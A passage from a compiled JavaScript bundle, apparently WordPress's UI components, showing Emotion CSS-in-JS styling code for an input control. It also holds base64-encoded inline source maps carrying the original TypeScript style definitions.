3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */",
24502 toString: _EMOTION_STRINGIFIED_CSS_ERROR__6
24503 };
24504 var containerWidthStyles = ({
24505 __unstableInputWidth,
24506 labelPosition
24507 }) => {
24508 if (!__unstableInputWidth) {
24509 return _ref2;
24510 }
24511 if (labelPosition === "side") {
24512 return "";
24513 }
24514 if (labelPosition === "edge") {
24515 return /* @__PURE__ */ css({
24516 flex: `0 0 ${__unstableInputWidth}`
24517 }, false ? "" : ";label:containerWidthStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtSFMiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvc